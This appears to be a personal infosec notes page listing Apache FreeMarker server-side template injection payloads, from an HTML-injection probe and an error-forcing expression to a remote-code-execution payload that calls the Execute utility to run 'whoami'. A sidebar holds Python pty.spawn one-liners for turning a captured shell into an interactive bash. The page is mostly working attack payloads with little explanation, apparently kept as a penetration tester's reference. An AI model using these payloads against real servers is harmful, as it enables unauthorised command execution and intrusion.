akde/infosec

Information security is ultimately about managing risk


Apache Freemark­er is a tem­plate engine, some­times used with Java application.

Old­er Freemark­er engines did not pre­vent HTML in strings. There­fore, try in a field some­thing like this:

Ha<b>llo</b>

Show the val­ue of a variable:

${var}

Exe­cu­tion to force an error message:

${'a'*5}

RCE:

${"freemarker.template.utility.Execute"?new()("whoami")}

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';